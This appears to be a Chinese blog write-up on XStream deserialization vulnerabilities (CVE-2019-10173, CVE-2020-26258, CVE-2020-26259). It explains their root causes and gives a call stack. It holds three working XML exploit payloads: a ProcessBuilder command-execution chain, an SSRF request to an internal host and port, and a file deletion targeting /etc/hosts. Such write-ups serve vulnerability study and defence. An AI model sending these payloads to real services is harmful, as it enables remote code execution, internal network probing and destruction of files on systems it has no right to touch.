XStream反序列化

概述

 

XStream是Java类库,用来将对象序列化成XML(JSON)或反序列化为对象。XStream在运行时使用Java反射机制对要进行序列化的对象树的结构进行探索,并不需要对对象作出修改。XStream可以序列化内部字段,包括私private和final字段,并且支持非公开类以及内部类。在缺省情况下,XStream不需要配置映射关系,对象和字段将映射为同名XML元素。但是当对象和字段名与XML中的元素名不同时,XStream支持指定别名。XStream支持以方法调用的方式,或是Java标注的方式指定别名。XStream在进行数据类型转换时,使用系统缺省的类型转换器。同时,也支持用户自定义的类型转换器。

CVE-2019-10173

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

该漏洞原本是CVE-2013-7285,然而 在com.thoughtworks.xstream.converters.reflection.ReflectionConverter类中,canConvert方法中的type != eventHandlerType被删除了,使得原来的漏洞利用方式可以再次被利用。 由于在Xstream1.4.10中的com.thoughtworks.xstream.XStream类增加了setupDefaultSecurity()方法和InternalBlackList转换器,通过黑名单的形式对漏洞进行防御。但是安全模式默认不开启,必须在初始化后才可以使用,eg:XStream.setupDefaultSecurity(xStream)。导致防御失效,造成漏洞的第二次出现。

利用payload

<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<acc>1</acc>
<target class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

CVE-2020-26258,CVE-2020-26259

在运行XStream的服务上,未授权的远程攻击者通过构造特定的序列化数据 ,可造成服务端请求伪造/任意文件删除。

 调用栈

getInputStream:107, URLDataSource (javax.activation)
get:181, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:121, NativeString (jdk.nashorn.internal.objects)
hashCode:117, NativeString (jdk.nashorn.internal.objects)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1268, XStream (com.thoughtworks.xstream)
fromXML:1259, XStream (com.thoughtworks.xstream)
parseXml:29, XStreamRce (org.joychou.controller)

CVE-2020-26258 SSRF payload

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://192.168.56.101:4444/internal/</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

CVE-2020-26259 DeleteFile payload

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/etc/hosts</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

参考链接

[1]XStream 组件高危漏洞分析与利用

[2]XStream CVE-2019-10173漏洞分析|NOSEC安全讯息平台 - 白帽汇安全研究院

[3]CVE-2020-26258&26259:XStream漏洞复现 - 云+社区 - 腾讯云

[4][CVE-2020-26258/26259]Xstream任意文件删除/SSRF漏洞_公众号shadow sock7-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XStream是一种Java库,它可以将Java对象序列化为XML格式,并且还可以将XML格式反序列化为Java对象。XStream可以非常方便地将Java对象转换为XML格式的字符串,也可以将XML格式的字符串转换为Java对象。XStream的使用非常简单,只需要创建一个XStream对象,然后调用toXML()方法将Java对象序列化为XML格式的字符串,或者调用fromXML()方法将XML格式的字符串反序列化为Java对象。 下面是一个简单的示例,演示如何使用XStream将Java对象序列化为XML格式的字符串: ``` import com.thoughtworks.xstream.XStream; public class Person { private String name; private int age; // 省略getter和setter方法 public static void main(String[] args) { Person person = new Person(); person.setName("张三"); person.setAge(25); XStream xstream = new XStream(); String xml = xstream.toXML(person); System.out.println(xml); } } ``` 在上面的代码中,我们创建了一个Person对象,并设置了name和age属性的值。然后,我们创建了一个XStream对象,并调用toXML()方法将Person对象序列化为XML格式的字符串。最后,我们将序列化后的字符串打印出来。 输出结果如下: ``` <person> <name>张三</name> <age>25</age> </person> ``` 可以看到,XStream将Java对象序列化为了XML格式的字符串,并且为每个属性添加了相应的XML标签。在这个例子中,我们只有两个属性,因此只有两个XML标签。如果有更多的属性,XStream会为每个属性添加相应的XML标签。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值